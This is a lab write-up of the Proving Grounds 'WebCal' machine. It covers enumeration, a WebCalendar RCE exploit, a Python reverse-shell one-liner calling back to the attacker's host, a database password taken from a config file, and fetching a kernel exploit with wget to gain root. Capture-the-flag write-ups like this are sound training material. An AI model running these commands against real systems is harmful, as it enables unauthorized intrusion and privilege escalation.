> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/get-to-work/webcal.md).

# WebCal

## Information Gathering

### Service Enumeration

`nmapAutomator.sh -H 192.168.66.37 -t full`

![](/files/-Mad_plnSgPXkjn6dNFe)

`nmapAutomator.sh -H 192.168.66.37 -t vulns`

![](/files/-Mad_mi5EDz04yl5wrFl)

![](/files/-Mad_sqcJFmwwhZf5b--)

### HTTP

![](/files/-Mada3Vl-5SRuQKKhmfY)

`gobuster dir -u http://192.168.66.37/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50`

![](/files/-Madb-V9CyFX1IsAR0y5)

* /resources
* /send
* /webcalendar

We find a login page at `http://192.168.66.37/webcalendar/login.php`.

![](/files/-Madb5RZs4tvk4MAv_Hm)

The version is v1.2.3

## Exploit

WebCalendar <= v1.2.4 suffers from an RCE vulnerability: <https://www.exploit-db.com/exploits/18775>

Simply running the exploit above gives us RCE. `php 18775.php 192.168.66.37 /webcalendar/`

![](/files/-MadbAK--rutdoF-qukd)

Once here, we can use a Python payload to catch a reverse shell on our Kali machine.

`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.66",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`

![](/files/-MadbDMjbqhfkRrwjg1N)

On our Kali machine:

![](/files/-MadbH6hdenRCGej9BdG)

![](/files/-MadbJQixJ5IJHWgYATz)

## Privilege Escalation

### MySQL

The `settings.php` file looks interesting.

![](/files/-MadbSpNrb8PvCnhr9Ma)

Upon further inspection, the MySQL database credentials are in this file.

![](/files/-MadbVX6T4oIvmfou1RM)

Furthermore, we now have access to port 3306, which is the MySQL port.

![](/files/-MadbZKLZAvNFSNCO7hl)

```
www-data@ucal:/home$ mysql --user=wc --password 
Enter password: edjfbxMT7KKo2PPC
```

![](/files/-Madbgb-ARhrJbcmAFcs)

![](/files/-MadbjfJsvs_N4cymmp1)

### Kernel Exploit

The kernel version 3.0.0 is vulnerable to an exploit called Mempodipper.

![](/files/-Madbp2fcXQklYoCMmd_)

Compile: `gcc mempodipper.c -o mempodipper`

Transfer: `wget "192.168.49.66/mempodipper" -O mempodipper`

![](/files/-Madbt10nrgdtF82LdWB)

![](/files/-Madbw5CwyDumcQ3HoG-)